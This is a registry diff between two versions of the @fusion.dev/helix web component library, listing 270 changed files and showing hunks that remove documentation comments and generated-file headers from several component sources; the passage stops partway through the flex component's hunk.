@fusion.dev/helix 0.2.0 → 0.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (270) hide show
  1. package/custom-elements.json +256 -256
  2. package/dist/accordion/item/accordion-item.css.js +0 -1
  3. package/dist/accordion/item/accordion-item.js +0 -29
  4. package/dist/accordion/root/accordion-root.css.js +0 -1
  5. package/dist/accordion/root/accordion-root.js +0 -20
  6. package/dist/announcement/root/announcement-root.css.js +0 -1
  7. package/dist/announcement/root/announcement-root.js +0 -16
  8. package/dist/app-header/root/app-header-root.css.js +0 -1
  9. package/dist/app-header/root/app-header-root.js +0 -45
  10. package/dist/aura/root/aura-axis.js +0 -58
  11. package/dist/aura/root/aura-root.css.js +0 -1
  12. package/dist/aura/root/aura-root.js +0 -520
  13. package/dist/aura/root/aura-shader.js +0 -35
  14. package/dist/avatar/group/avatar-group.css.js +0 -1
  15. package/dist/avatar/group/avatar-group.js +0 -24
  16. package/dist/avatar/root/avatar-root.css.js +0 -1
  17. package/dist/avatar/root/avatar-root.js +0 -23
  18. package/dist/badge/root/badge-root.css.js +0 -1
  19. package/dist/badge/root/badge-root.d.ts +2 -6
  20. package/dist/badge/root/badge-root.js +0 -18
  21. package/dist/bar-chart/root/bar-chart-root.css.js +0 -1
  22. package/dist/bar-chart/root/bar-chart-root.js +0 -50
  23. package/dist/blockquote/root/blockquote-root.css.js +0 -1
  24. package/dist/blockquote/root/blockquote-root.js +0 -17
  25. package/dist/breadcrumbs/breadcrumb/breadcrumb.css.js +0 -1
  26. package/dist/breadcrumbs/breadcrumb/breadcrumb.js +0 -28
  27. package/dist/breadcrumbs/root/breadcrumbs-root.css.js +0 -1
  28. package/dist/breadcrumbs/root/breadcrumbs-root.js +0 -19
  29. package/dist/button/root/button-root.css.js +0 -1
  30. package/dist/button/root/button-root.js +0 -38
  31. package/dist/button-group/root/button-group-root.css.js +0 -1
  32. package/dist/button-group/root/button-group-root.js +0 -24
  33. package/dist/callout/root/callout-root.css.js +0 -1
  34. package/dist/callout/root/callout-root.js +0 -26
  35. package/dist/card/root/card-root.css.js +0 -1
  36. package/dist/card/root/card-root.js +0 -45
  37. package/dist/carousel/root/carousel-root.css.js +0 -1
  38. package/dist/carousel/root/carousel-root.js +0 -24
  39. package/dist/chat/composer/chat-composer.css.js +0 -1
  40. package/dist/chat/composer/chat-composer.js +0 -26
  41. package/dist/chat/message/chat-message.css.js +0 -1
  42. package/dist/chat/message/chat-message.js +0 -29
  43. package/dist/chat/root/chat-root.css.js +0 -1
  44. package/dist/chat/root/chat-root.js +0 -38
  45. package/dist/checkbox/root/checkbox-root.css.js +0 -1
  46. package/dist/checkbox/root/checkbox-root.js +0 -26
  47. package/dist/checkbox-group/root/checkbox-group-root.css.js +0 -1
  48. package/dist/checkbox-group/root/checkbox-group-root.js +0 -15
  49. package/dist/code/root/code-root.css.js +0 -1
  50. package/dist/code/root/code-root.js +0 -21
  51. package/dist/code-block/root/code-block-root.css.js +0 -1
  52. package/dist/code-block/root/code-block-root.js +0 -19
  53. package/dist/color-input/root/color-input-root.css.js +0 -1
  54. package/dist/color-input/root/color-input-root.js +0 -42
  55. package/dist/color-picker/root/color-picker-root.css.js +0 -1
  56. package/dist/color-picker/root/color-picker-root.js +0 -42
  57. package/dist/combobox/root/combobox-root.css.js +0 -1
  58. package/dist/combobox/root/combobox-root.js +0 -28
  59. package/dist/command/root/command-root.css.js +0 -1
  60. package/dist/command/root/command-root.js +0 -21
  61. package/dist/copy-button/root/copy-button-root.css.js +0 -1
  62. package/dist/copy-button/root/copy-button-root.js +0 -14
  63. package/dist/data-table/root/data-table-root.css.js +0 -1
  64. package/dist/data-table/root/data-table-root.js +0 -39
  65. package/dist/date-input/root/date-input-root.css.js +0 -1
  66. package/dist/date-input/root/date-input-root.js +0 -38
  67. package/dist/date-picker/root/date-picker-root.css.js +0 -1
  68. package/dist/date-picker/root/date-picker-root.js +0 -28
  69. package/dist/dialog/root/dialog-root.css.js +0 -1
  70. package/dist/dialog/root/dialog-root.js +0 -31
  71. package/dist/divider/root/divider-root.css.js +0 -1
  72. package/dist/divider/root/divider-root.js +0 -24
  73. package/dist/donut-chart/root/donut-chart-root.css.js +0 -1
  74. package/dist/donut-chart/root/donut-chart-root.js +0 -49
  75. package/dist/drawer/root/drawer-root.css.js +0 -1
  76. package/dist/drawer/root/drawer-root.js +0 -38
  77. package/dist/drilldown/item/drilldown-item.css.js +0 -1
  78. package/dist/drilldown/item/drilldown-item.js +0 -15
  79. package/dist/drilldown/root/drilldown-root.css.js +0 -1
  80. package/dist/drilldown/root/drilldown-root.js +0 -23
  81. package/dist/element-events.generated.js +0 -5
  82. package/dist/empty/root/empty-root.css.js +0 -1
  83. package/dist/empty/root/empty-root.js +0 -16
  84. package/dist/file-input/root/file-input-root.css.js +0 -1
  85. package/dist/file-input/root/file-input-root.js +0 -30
  86. package/dist/flex/root/flex-root.css.js +0 -1
  87. package/dist/flex/root/flex-root.js +0 -32
  88. package/dist/format-date/root/format-date-root.css.js +0 -1
  89. package/dist/format-date/root/format-date-root.js +0 -17
  90. package/dist/grid/root/grid-root.css.js +0 -1
  91. package/dist/grid/root/grid-root.js +0 -69
  92. package/dist/heatmap/root/heatmap-root.css.js +0 -1
  93. package/dist/heatmap/root/heatmap-root.d.ts +9 -11
  94. package/dist/heatmap/root/heatmap-root.js +0 -73
  95. package/dist/icon/glyph.css.js +0 -1
  96. package/dist/icon/root/icon-root.css.js +0 -1
  97. package/dist/icon/root/icon-root.js +0 -19
  98. package/dist/icon-button/root/icon-button-root.css.js +0 -1
  99. package/dist/icon-button/root/icon-button-root.js +0 -35
  100. package/dist/image/root/image-root.css.js +0 -1
  101. package/dist/image/root/image-root.js +0 -28
  102. package/dist/index.js +0 -5
  103. package/dist/input/root/input-root.css.js +0 -1
  104. package/dist/input/root/input-root.js +0 -28
  105. package/dist/kbd/root/kbd-root.css.js +0 -1
  106. package/dist/kbd/root/kbd-root.js +0 -20
  107. package/dist/legend/root/legend-root.css.js +0 -1
  108. package/dist/legend/root/legend-root.js +0 -35
  109. package/dist/line-chart/root/line-chart-root.css.js +0 -1
  110. package/dist/line-chart/root/line-chart-root.js +0 -47
  111. package/dist/list/item/list-item.css.js +0 -1
  112. package/dist/list/item/list-item.js +0 -38
  113. package/dist/list/root/list-root.css.js +0 -1
  114. package/dist/list/root/list-root.js +0 -23
  115. package/dist/listbox/root/listbox-root.css.js +0 -1
  116. package/dist/listbox/root/listbox-root.js +0 -22
  117. package/dist/loader/root/loader-root.css.js +0 -1
  118. package/dist/loader/root/loader-root.js +0 -19
  119. package/dist/megamenu/root/megamenu-root.css.js +0 -1
  120. package/dist/megamenu/root/megamenu-root.js +0 -24
  121. package/dist/menu/item/menu-item.css.js +0 -1
  122. package/dist/menu/item/menu-item.js +0 -16
  123. package/dist/menu/root/menu-root.css.js +0 -1
  124. package/dist/menu/root/menu-root.js +0 -26
  125. package/dist/meter/root/meter-root.css.js +0 -1
  126. package/dist/meter/root/meter-root.js +0 -50
  127. package/dist/mixins/mixin-control-surface/mixin-control-surface.js +0 -3
  128. package/dist/navigation/root/navigation-root.css.js +0 -1
  129. package/dist/navigation/root/navigation-root.js +0 -18
  130. package/dist/notifications/notification/notification.css.js +0 -1
  131. package/dist/notifications/notification/notification.js +0 -53
  132. package/dist/notifications/root/notifications-root.css.js +0 -1
  133. package/dist/notifications/root/notifications-root.js +0 -31
  134. package/dist/number-input/root/number-input-root.css.js +0 -1
  135. package/dist/number-input/root/number-input-root.js +0 -31
  136. package/dist/option/group/option-group.css.js +0 -1
  137. package/dist/option/group/option-group.js +0 -13
  138. package/dist/option/root/option-root.css.js +0 -1
  139. package/dist/option/root/option-root.js +0 -20
  140. package/dist/outline/root/outline-root.css.js +0 -1
  141. package/dist/outline/root/outline-root.js +0 -21
  142. package/dist/pagination/root/pagination-root.css.js +0 -1
  143. package/dist/pagination/root/pagination-root.js +0 -49
  144. package/dist/pagination/size/pagination-size.css.js +0 -1
  145. package/dist/pagination/size/pagination-size.js +0 -25
  146. package/dist/pagination/summary/pagination-summary.css.js +0 -1
  147. package/dist/pagination/summary/pagination-summary.js +0 -13
  148. package/dist/pin-input/root/pin-input-root.css.js +0 -1
  149. package/dist/pin-input/root/pin-input-root.js +0 -27
  150. package/dist/popover/root/popover-root.css.js +0 -1
  151. package/dist/popover/root/popover-root.js +0 -30
  152. package/dist/progress/root/progress-root.css.js +0 -1
  153. package/dist/progress/root/progress-root.js +0 -25
  154. package/dist/qr-code/root/qr-code-root.css.js +0 -1
  155. package/dist/qr-code/root/qr-code-root.js +0 -27
  156. package/dist/quote/root/quote-root.css.js +0 -1
  157. package/dist/quote/root/quote-root.js +0 -15
  158. package/dist/radio/group/radio-group.css.js +0 -1
  159. package/dist/radio/group/radio-group.js +0 -16
  160. package/dist/radio/root/radio-root.css.js +0 -1
  161. package/dist/radio/root/radio-root.js +0 -46
  162. package/dist/rating/root/rating-root.css.js +0 -1
  163. package/dist/rating/root/rating-root.js +0 -22
  164. package/dist/sandbox/index.js +0 -14
  165. package/dist/sandbox/preview/sandbox-preview.css.js +0 -1
  166. package/dist/sandbox/preview/sandbox-preview.js +0 -182
  167. package/dist/sandbox/root/sandbox-root.css.js +0 -1
  168. package/dist/sandbox/root/sandbox-root.js +1 -295
  169. package/dist/sandbox/source/sandbox-source.css.js +0 -1
  170. package/dist/sandbox/source/sandbox-source.js +0 -77
  171. package/dist/sandbox/status-bar/sandbox-status-bar.css.js +0 -1
  172. package/dist/sandbox/status-bar/sandbox-status-bar.js +0 -38
  173. package/dist/sandbox/terminal/sandbox-terminal.css.js +0 -1
  174. package/dist/sandbox/terminal/sandbox-terminal.js +0 -54
  175. package/dist/sandbox/toolbar/sandbox-toolbar.css.js +0 -1
  176. package/dist/sandbox/toolbar/sandbox-toolbar.js +0 -29
  177. package/dist/scroll-area/root/scroll-area-root.css.js +0 -1
  178. package/dist/scroll-area/root/scroll-area-root.js +0 -24
  179. package/dist/select/root/select-root.css.js +0 -1
  180. package/dist/select/root/select-root.js +0 -33
  181. package/dist/shared/chart/series.css.js +0 -1
  182. package/dist/shared/chart/terminus.css.js +0 -1
  183. package/dist/shared/field/field-inline.css.js +0 -1
  184. package/dist/shared/field/field-stacked.css.js +0 -1
  185. package/dist/shared/field/field.css.js +0 -1
  186. package/dist/skeleton/root/skeleton-root.css.js +0 -1
  187. package/dist/skeleton/root/skeleton-root.js +0 -18
  188. package/dist/slider/root/slider-root.css.js +0 -1
  189. package/dist/slider/root/slider-root.js +0 -32
  190. package/dist/sparkline/root/sparkline-root.css.js +0 -1
  191. package/dist/sparkline/root/sparkline-root.js +0 -40
  192. package/dist/speed-dial/item/speed-dial-item.css.js +0 -1
  193. package/dist/speed-dial/item/speed-dial-item.js +0 -16
  194. package/dist/speed-dial/root/speed-dial-root.css.js +0 -1
  195. package/dist/speed-dial/root/speed-dial-root.js +0 -16
  196. package/dist/splitter/root/splitter-root.css.js +0 -1
  197. package/dist/splitter/root/splitter-root.js +0 -50
  198. package/dist/stat/group/stat-group.css.js +0 -1
  199. package/dist/stat/group/stat-group.js +0 -19
  200. package/dist/stat/root/stat-root.css.js +0 -1
  201. package/dist/stat/root/stat-root.js +0 -17
  202. package/dist/steps/root/steps-root.css.js +0 -1
  203. package/dist/steps/root/steps-root.js +0 -26
  204. package/dist/steps/step/step.css.js +0 -1
  205. package/dist/steps/step/step.js +0 -12
  206. package/dist/switch/root/switch-root.css.js +0 -1
  207. package/dist/switch/root/switch-root.js +0 -32
  208. package/dist/table/cell/table-cell.css.js +0 -1
  209. package/dist/table/cell/table-cell.js +0 -14
  210. package/dist/table/column/table-column.css.js +0 -1
  211. package/dist/table/column/table-column.js +0 -13
  212. package/dist/table/root/table-root.css.js +0 -1
  213. package/dist/table/root/table-root.js +0 -19
  214. package/dist/table/row/table-row.css.js +0 -1
  215. package/dist/table/row/table-row.js +0 -14
  216. package/dist/tabs/panel/tab-panel.css.js +0 -1
  217. package/dist/tabs/panel/tab-panel.js +0 -16
  218. package/dist/tabs/root/tabs-root.css.js +0 -1
  219. package/dist/tabs/root/tabs-root.js +0 -19
  220. package/dist/tabs/tab/tab.css.js +0 -1
  221. package/dist/tabs/tab/tab.js +0 -16
  222. package/dist/tag/root/tag-root.css.js +0 -1
  223. package/dist/tag/root/tag-root.js +0 -25
  224. package/dist/text/root/text-root.css.js +0 -1
  225. package/dist/text/root/text-root.js +0 -48
  226. package/dist/textarea/root/textarea-root.css.js +0 -1
  227. package/dist/textarea/root/textarea-root.js +0 -17
  228. package/dist/time-input/root/time-input-root.css.js +0 -1
  229. package/dist/time-input/root/time-input-root.js +0 -31
  230. package/dist/time-picker/root/time-picker-root.css.js +0 -1
  231. package/dist/time-picker/root/time-picker-root.js +0 -29
  232. package/dist/timeline/item/timeline-item.css.js +0 -1
  233. package/dist/timeline/item/timeline-item.js +0 -17
  234. package/dist/timeline/root/timeline-root.css.js +0 -1
  235. package/dist/timeline/root/timeline-root.js +0 -15
  236. package/dist/toast/item/toast-item.css.js +0 -1
  237. package/dist/toast/item/toast-item.js +0 -21
  238. package/dist/toast/root/toast-root.css.js +0 -1
  239. package/dist/toast/root/toast-root.js +0 -27
  240. package/dist/toggle/group/toggle-group.css.js +0 -1
  241. package/dist/toggle/group/toggle-group.js +0 -25
  242. package/dist/toggle/root/toggle-root.css.js +0 -1
  243. package/dist/toggle/root/toggle-root.js +0 -18
  244. package/dist/toolbar/root/toolbar-root.css.js +0 -1
  245. package/dist/toolbar/root/toolbar-root.js +0 -19
  246. package/dist/tooltip/root/tooltip-root.css.js +0 -1
  247. package/dist/tooltip/root/tooltip-root.js +0 -22
  248. package/dist/tour/root/tour-root.css.js +0 -1
  249. package/dist/tour/root/tour-root.js +0 -14
  250. package/dist/tour/stop/tour-stop.css.js +0 -1
  251. package/dist/tour/stop/tour-stop.js +0 -22
  252. package/dist/tree/item/tree-item.css.js +0 -1
  253. package/dist/tree/item/tree-item.js +0 -34
  254. package/dist/tree/root/tree-root.css.js +0 -1
  255. package/dist/tree/root/tree-root.js +0 -27
  256. package/dist/trend/root/trend-root.css.js +0 -1
  257. package/dist/trend/root/trend-root.js +0 -34
  258. package/dist/video/root/video-root.css.js +0 -1
  259. package/dist/video/root/video-root.js +0 -37
  260. package/dist/video-playlist/item/video-playlist-item.css.js +0 -1
  261. package/dist/video-playlist/item/video-playlist-item.js +0 -15
  262. package/dist/video-playlist/menu/video-playlist-menu.css.js +0 -1
  263. package/dist/video-playlist/menu/video-playlist-menu.js +0 -36
  264. package/dist/video-playlist/root/video-playlist-root.css.js +0 -1
  265. package/dist/video-playlist/root/video-playlist-root.js +0 -16
  266. package/dist/virtual-list/root/virtual-list-root.css.js +0 -1
  267. package/dist/virtual-list/root/virtual-list-root.js +0 -21
  268. package/jsx.d.ts +1538 -2818
  269. package/package.json +7 -7
  270. package/vue.d.ts +3 -7
@@ -8,37 +8,6 @@ import { customElement } from '@fusion.dev/helix-core';
8
8
  import { HelixHeadlessDialog } from '@fusion.dev/helix-headless/dialog';
9
9
  import { property } from 'lit/decorators.js';
10
10
  import { styles } from './dialog-root.css.js';
11
- /**
12
- * @summary A modal window, on the platform's own dialog.
13
- *
14
- * @description
15
- * The panel is `surface-overlay` with a shadow, because that is what it is: a
16
- * thing over the page rather than on it. The scrim is drawn on `::backdrop`,
17
- * which is the platform's own element for it and sits in the top layer with the
18
- * dialog rather than being a div somebody positioned.
19
- *
20
- * @since 0.1.0
21
- * @status stable
22
- * @category overlays
23
- * @aliases Modal, Lightbox, Sheet
24
- * @documentation https://helix.fusion.dev/components/dialog
25
- *
26
- * @cssproperty --dialog-border-color - Color of the panel's edge.
27
- * @cssproperty --dialog-border-width - Width of the panel's edge. Follows
28
- * `--helix-border-floating`, which is `0`, so the panel is told apart by its lift unless a
29
- * theme says otherwise.
30
- * @cssproperty --dialog-icon-size - How big the mark above the title is.
31
- * @cssproperty --dialog-inline-size - Width of the panel.
32
- * @cssproperty --dialog-padding - Padding inside the panel.
33
- * @cssproperty --dialog-rise - How far the panel rises as it opens. Follows
34
- * `--helix-space-lg`.
35
- * @cssproperty --dialog-scrim - The wash over the page behind the dialog. Set on the host, where a token still resolves: a `var()` written inside `::backdrop` cannot see one.
36
- * @cssproperty --dialog-shadow - Lift under the panel. Follows `--helix-shadow-floating`: a
37
- * floating surface sits over content nobody can predict, so it keeps a lift by default.
38
- *
39
- * @property align - Whether the panel's contents run from the start or center on it.
40
- * @property size - How wide the panel is allowed to be.
41
- */
42
11
  let HelixDialog = class HelixDialog extends HelixHeadlessDialog {
43
12
  static { this.styles = styles; }
44
13
  };
@@ -1,4 +1,3 @@
1
- // Generated from src/divider/root/divider-root.css by `turbo run styles`. Do not edit.
2
1
  import { createSheet } from '@fusion.dev/helix-core';
3
2
  export const styles = createSheet(`:host {
4
3
  align-items: center;
@@ -7,30 +7,6 @@ var __decorate = (this && this.__decorate) || function (decorators, target, key,
7
7
  import { customElement } from '@fusion.dev/helix-core';
8
8
  import { HelixHeadlessDivider } from '@fusion.dev/helix-headless/divider';
9
9
  import { styles } from './divider-root.css.js';
10
- /**
11
- * @summary Separates content into groups with a rule.
12
- *
13
- * @description
14
- * A one-pixel rule in the border color, running the full inline size by
15
- * default. A vertical divider stretches to its flex parent instead of setting
16
- * its own height, so it matches whatever it sits beside without being told how
17
- * tall that is.
18
- *
19
- * @since 0.1.0
20
- * @status stable
21
- * @category layout
22
- * @aliases Separator, Rule
23
- * @documentation https://helix.fusion.dev/components/divider
24
- *
25
- * @csspart line - The rule itself.
26
- *
27
- * @cssproperty --divider-color - Color of the rule.
28
- * @cssproperty --divider-length - How long a vertical rule is. Horizontal takes its width.
29
- * @cssproperty --divider-padding - Space taken off both ends of it.
30
- * @cssproperty --divider-padding-end - Off the far end only.
31
- * @cssproperty --divider-padding-start - Off the near end only.
32
- * @cssproperty --divider-thickness - How heavy the rule is.
33
- */
34
10
  let HelixDivider = class HelixDivider extends HelixHeadlessDivider {
35
11
  static { this.styles = styles; }
36
12
  };
@@ -1,4 +1,3 @@
1
- // Generated from src/donut-chart/root/donut-chart-root.css by `turbo run styles`. Do not edit.
2
1
  import { createSheet } from '@fusion.dev/helix-core';
3
2
  export const styles = createSheet(`:host {
4
3
  display: grid;
@@ -10,56 +10,7 @@ import { property } from 'lit/decorators.js';
10
10
  import { styles as seriesStyles } from '../../shared/chart/series.css.js';
11
11
  import { styles } from './donut-chart-root.css.js';
12
12
  import '../../tooltip/index.js';
13
- /**
14
- * @summary Parts of a whole as a ring, read from a table.
15
- *
16
- * @description
17
- * The slices take the series palette in order, so a legend beside it maps the
18
- * same twenty-four.
19
- *
20
- * The ring starts at twelve o'clock, which is a rotation applied here rather
21
- * than arithmetic done below: where a reader expects the first slice to begin
22
- * is a fact about the picture, not about the numbers.
23
- *
24
- * A track is drawn under the slices, so a ring whose values do not fill it
25
- * still reads as a ring with a gap rather than as a broken arc.
26
- *
27
- * **How thick the ring is drawn is `hole`, not a CSS hook.** The stroke's width
28
- * and the ring's radius have to agree: the outer edge is `r + width / 2`, so
29
- * setting one in CSS and deriving the other in markup gives a drawing that is
30
- * wrong in both. Measured with such a hook in place, every ring came out twelve
31
- * units thick whatever its `hole`, so a pie was a small ring with a hole in it
32
- * and `large` was drawn larger than the default.
33
- *
34
- * @since 0.1.0
35
- * @status experimental
36
- * @category charts
37
- * @groups charts
38
- * @aliases Pie Chart, Ring Chart, Share Chart
39
- * @documentation https://helix.fusion.dev/components/donut-chart
40
- *
41
- * @cssproperty --donut-chart-edge-stroke - Thickness of the slice boundary under `outlined`.
42
- * @cssproperty --donut-chart-size - Width and height of the ring.
43
- * @cssproperty --donut-chart-track-color - Color of the ring under the slices.
44
- */
45
13
  let HelixDonutChart = class HelixDonutChart extends HelixHeadlessDonutChart {
46
- /**
47
- * **The styled tier, so the tooltip this renders is the styled one.**
48
- *
49
- * `tag()` builds a child's tag name from this prefix, and the base declares
50
- * `helix-headless-`. Every other styled component that renders a child
51
- * overrides it; the three charts that draw a tooltip did not, so a
52
- * `helix-bar-chart` on a page put a `helix-headless-tooltip` in its shadow
53
- * root: the behavior with none of the surface. What showed was the browser's
54
- * own popover defaults, a white 1.5px border, square corners, `0.25em` of
55
- * padding and the page's font size, which is why the reading bubble looked
56
- * like no other tooltip on the site.
57
- *
58
- * Measured before the fix: the chart's bubble computed
59
- * `border: 1.5px solid rgb(255, 255, 255)`, `border-radius: 0px`,
60
- * `padding: 3.5px`, `font-size: 14px`. The masthead's, a `helix-tooltip`,
61
- * had the component's own `none`, `radii-sm`, `2xs xs` and `text-xs`.
62
- */
63
14
  static { this.tier = 'helix-'; }
64
15
  static { this.styles = [seriesStyles, styles]; }
65
16
  };
@@ -1,4 +1,3 @@
1
- // Generated from src/drawer/root/drawer-root.css by `turbo run styles`. Do not edit.
2
1
  import { createSheet } from '@fusion.dev/helix-core';
3
2
  export const styles = createSheet(`:host {
4
3
 
@@ -8,44 +8,6 @@ import { customElement } from '@fusion.dev/helix-core';
8
8
  import { HelixHeadlessDrawer } from '@fusion.dev/helix-headless/drawer';
9
9
  import { property } from 'lit/decorators.js';
10
10
  import { styles } from './drawer-root.css.js';
11
- /**
12
- * @summary A panel that slides in from an edge.
13
- *
14
- * @description
15
- * The panel translates and the scrim fades, both on transform and opacity only,
16
- * which is the one place motion is allowed to carry the work: the surface at
17
- * rest is flat and the movement is what says something happened.
18
- *
19
- * @since 0.1.0
20
- * @status experimental
21
- * @category overlays
22
- * @aliases Sheet, Sidebar, Panel, Off-canvas
23
- * @documentation https://helix.fusion.dev/components/drawer
24
- *
25
- * @slot - The drawer's content.
26
- * @slot header - Content pinned above the scrolling area.
27
- *
28
- * @event {HelixBeforeOpenEvent} helix-before-open - Fired before the drawer opens or closes. Cancelable: refusing it takes the decision and nothing moves.
29
- *
30
- * @csspart content - The scrolling content region.
31
- * @csspart header - The header region.
32
- * @csspart panel - The sliding panel.
33
- *
34
- * @cssproperty --drawer-backdrop - Filter applied behind a `material="glass"` drawer.
35
- * Follows the theme's material policy; set it to override the strength on one drawer.
36
- * @cssproperty --drawer-background-color - Surface behind the panel.
37
- * @cssproperty --drawer-border-color - Color of the panel's edge.
38
- * @cssproperty --drawer-border-width - Width of the panel's edge. Follows
39
- * `--helix-border-floating`, which is `0`, so the panel is told apart by its lift unless a
40
- * theme says otherwise.
41
- * @cssproperty --drawer-padding - Padding inside the panel.
42
- * @cssproperty --drawer-padding-block-start - Padding above the content, which clears the close control.
43
- * @cssproperty --drawer-radius - Corner radius on the edges that face the page.
44
- * @cssproperty --drawer-scrim - The wash over the page behind the drawer. Set on the host, where a token still resolves: a `var()` written inside `::backdrop` cannot see one.
45
- * @cssproperty --drawer-shadow - Lift under the panel. Follows `--helix-shadow-floating`: a
46
- * floating surface sits over content nobody can predict, so it keeps a lift by default.
47
- * @cssproperty --drawer-size - Width or height of the panel.
48
- */
49
11
  let HelixDrawer = class HelixDrawer extends HelixHeadlessDrawer {
50
12
  static { this.styles = styles; }
51
13
  };
@@ -1,4 +1,3 @@
1
- // Generated from src/drilldown/item/drilldown-item.css by `turbo run styles`. Do not edit.
2
1
  import { createSheet } from '@fusion.dev/helix-core';
3
2
  export const styles = createSheet(`:host {
4
3
  display: block;
@@ -7,21 +7,6 @@ var __decorate = (this && this.__decorate) || function (decorators, target, key,
7
7
  import { customElement } from '@fusion.dev/helix-core';
8
8
  import { HelixHeadlessDrilldownItem } from '@fusion.dev/helix-headless/drilldown';
9
9
  import { styles } from './drilldown-item.css.js';
10
- /**
11
- * @summary One row of a drill-down, which may hold a page of its own.
12
- *
13
- * @description
14
- * A row is a full-width band rather than an inset pill, for the reason the
15
- * select's options are: it reaches both edges of the panel, so a highlight
16
- * lines up with the edge the eye is already following down the list.
17
- *
18
- * @since 0.1.0
19
- * @status experimental
20
- * @aliases Panel item, Drill row
21
- * @documentation https://helix.fusion.dev/components/drilldown
22
- *
23
- * @cssproperty --drilldown-item-hover-color - Fill when a row is under the pointer.
24
- */
25
10
  let HelixDrilldownItem = class HelixDrilldownItem extends HelixHeadlessDrilldownItem {
26
11
  static { this.styles = styles; }
27
12
  };
@@ -1,4 +1,3 @@
1
- // Generated from src/drilldown/root/drilldown-root.css by `turbo run styles`. Do not edit.
2
1
  import { createSheet } from '@fusion.dev/helix-core';
3
2
  export const styles = createSheet(`:host {
4
3
  background-color: var(--drilldown-background-color, var(--helix-color-surface));
@@ -7,29 +7,6 @@ var __decorate = (this && this.__decorate) || function (decorators, target, key,
7
7
  import { customElement } from '@fusion.dev/helix-core';
8
8
  import { HelixHeadlessDrilldown } from '@fusion.dev/helix-headless/drilldown';
9
9
  import { styles } from './drilldown-root.css.js';
10
- /**
11
- * @summary A stack of pages, one showing at a time, with a way back.
12
- *
13
- * @description
14
- * **The pages slide, and the direction is the point.** Both moves replace one
15
- * page with another, so with no motion a reader cannot tell whether they went
16
- * deeper or came back: the panel simply holds different words. Sliding in the
17
- * direction of travel says which happened, and it is most of the reason this is
18
- * a component rather than a menu with its trigger removed.
19
- *
20
- * An animation rather than a transition, because there is nothing to transition
21
- * from: the page arriving was not in the DOM a frame ago. Under
22
- * `prefers-reduced-motion` it becomes the instant swap `Menu` does.
23
- *
24
- * @since 0.1.0
25
- * @status experimental
26
- * @category navigation
27
- * @aliases Panel, Nested list, Drill-in
28
- * @documentation https://helix.fusion.dev/components/drilldown
29
- *
30
- * @cssproperty --drilldown-background-color - Fill behind the pages.
31
- * @cssproperty --drilldown-inline-size - Width of the region.
32
- */
33
10
  let HelixDrilldown = class HelixDrilldown extends HelixHeadlessDrilldown {
34
11
  static { this.styles = styles; }
35
12
  };
@@ -1,8 +1,3 @@
1
- /* Generated by `bun run gen:element-events` from this package's manifest. Do not edit.
2
- *
3
- * Which events each tag dispatches, registered so the React prop audit can tell
4
- * a handler on the wrong element from one on the right one. See
5
- * `helix/core/src/events/element-events.ts`. */
6
1
  import { registerElementEvents } from '@fusion.dev/helix-core';
7
2
  registerElementEvents({
8
3
  'helix-accordion-item': ['helix-before-close', 'helix-before-open', 'toggle'],
@@ -1,4 +1,3 @@
1
- // Generated from src/empty/root/empty-root.css by `turbo run styles`. Do not edit.
2
1
  import { createSheet } from '@fusion.dev/helix-core';
3
2
  export const styles = createSheet(`:host {
4
3
  align-items: center;
@@ -7,22 +7,6 @@ var __decorate = (this && this.__decorate) || function (decorators, target, key,
7
7
  import { customElement } from '@fusion.dev/helix-core';
8
8
  import { HelixHeadlessEmpty } from '@fusion.dev/helix-headless/empty';
9
9
  import { styles } from './empty-root.css.js';
10
- /**
11
- * @summary Says that a region has nothing in it, and what to do about it.
12
- *
13
- * @description
14
- * Centered and given room, because an empty view is the only thing on screen
15
- * and crowding it against the top edge makes the region look broken rather than
16
- * empty.
17
- *
18
- * @since 0.1.0
19
- * @status stable
20
- * @category feedback
21
- * @aliases Placeholder, NoResults, Blank
22
- * @documentation https://helix.fusion.dev/components/empty
23
- *
24
- * @cssproperty --empty-padding - Space around the whole block.
25
- */
26
10
  let HelixEmpty = class HelixEmpty extends HelixHeadlessEmpty {
27
11
  static { this.styles = styles; }
28
12
  };
@@ -1,4 +1,3 @@
1
- // Generated from src/file-input/root/file-input-root.css by `turbo run styles`. Do not edit.
2
1
  import { createSheet } from '@fusion.dev/helix-core';
3
2
  export const styles = createSheet(`[part="field"] {
4
3
  align-items: center;
@@ -6,42 +6,12 @@ var __decorate = (this && this.__decorate) || function (decorators, target, key,
6
6
  };
7
7
  import { customElement } from '@fusion.dev/helix-core';
8
8
  import { HelixHeadlessFileInput } from '@fusion.dev/helix-headless/file-input';
9
- /* Side-effect import, because the tier below renders `<helix-icon>` for each
10
- file's remove control and a custom element registers on import. Inherited from
11
- the base along with the template, which is why it is restated here. */
12
9
  import '../../icon/index.js';
13
10
  import '../../tag/index.js';
14
11
  import { styles as glyphStyles } from '../../icon/glyph.css.js';
15
12
  import { styles as fieldStyles } from '../../shared/field/field.css.js';
16
13
  import { styles as fieldStackedStyles } from '../../shared/field/field-stacked.css.js';
17
14
  import { styles } from './file-input-root.css.js';
18
- /**
19
- * @summary A control for choosing files, by pointer or by dropping them on it.
20
- *
21
- * @description
22
- * The field is a box rather than a line, because nothing is typed into it: its
23
- * height is not a line of text, and what a reader aims at is the whole area. The
24
- * border is dashed for the same reason a drop target usually is, which is the
25
- * only affordance one has before anything is being dragged.
26
- *
27
- * The native input is kept and laid over the field at zero opacity rather than
28
- * hidden, so a click anywhere on the box lands on the input itself and opens the
29
- * picker. Hiding it with `display: none` would take it out of the tab order and
30
- * out of the form, and a script clicking a hidden input is the same thing with
31
- * more moving parts.
32
- *
33
- * The focus ring is drawn on the field, because the control it belongs to is
34
- * invisible.
35
- *
36
- * @since 0.1.0
37
- * @status stable
38
- * @category forms
39
- * @aliases FileUpload, FilePicker, Dropzone, InputFile
40
- * @documentation https://helix.fusion.dev/components/file-input
41
- *
42
- * @cssproperty --file-input-background-color - Fill behind the field.
43
- * @cssproperty --file-input-padding - Padding inside the field.
44
- */
45
15
  let HelixFileInput = class HelixFileInput extends HelixHeadlessFileInput {
46
16
  static { this.tier = 'helix-'; }
47
17
  static { this.styles = [glyphStyles, fieldStyles, fieldStackedStyles, styles]; }
@@ -1,4 +1,3 @@
1
- // Generated from src/flex/root/flex-root.css by `turbo run styles`. Do not edit.
2
1
  import { createSheet } from '@fusion.dev/helix-core';
3
2
  export const styles = createSheet(`:host {
4
3
  display: flex;
@@ -8,42 +8,10 @@ import { customElement, HelixElement } from '@fusion.dev/helix-core';
8
8
  import { html } from 'lit';
9
9
